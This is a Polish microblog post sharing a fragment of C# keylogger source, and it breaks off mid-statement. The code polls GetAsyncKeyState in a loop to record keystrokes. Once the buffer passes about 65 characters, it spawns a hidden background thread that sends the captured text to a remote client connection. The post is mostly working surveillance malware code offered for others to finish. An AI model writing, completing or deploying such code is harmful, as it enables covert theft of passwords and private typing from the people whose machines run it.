Wpis z mikrobloga

@ranestwen:

C# funkcja prawie kompletna :P brakuje Thread SendLogging oraz bool killStartLging
deklaracja ogolna:
[DllImport("user32.dll")]
private static extern int GetAsyncKeyState(Int32 i);

private void StartLogKs()
{
int tempI = 0;
string cpatKey = string.Empty;
string ctemp = string.Empty;

while (killStartLging == false)
{
if (tempI > 65)
{
ctemp = cpatKey;
Thread SendLogging = new Thread(() =>
{
lock (mlockOUT)
MainToSend(CliOUT, "004", ctemp);

Thread.Sleep(1000);
});
SendLogging.IsBackground = true;
SendLogging.Start();
cpatKey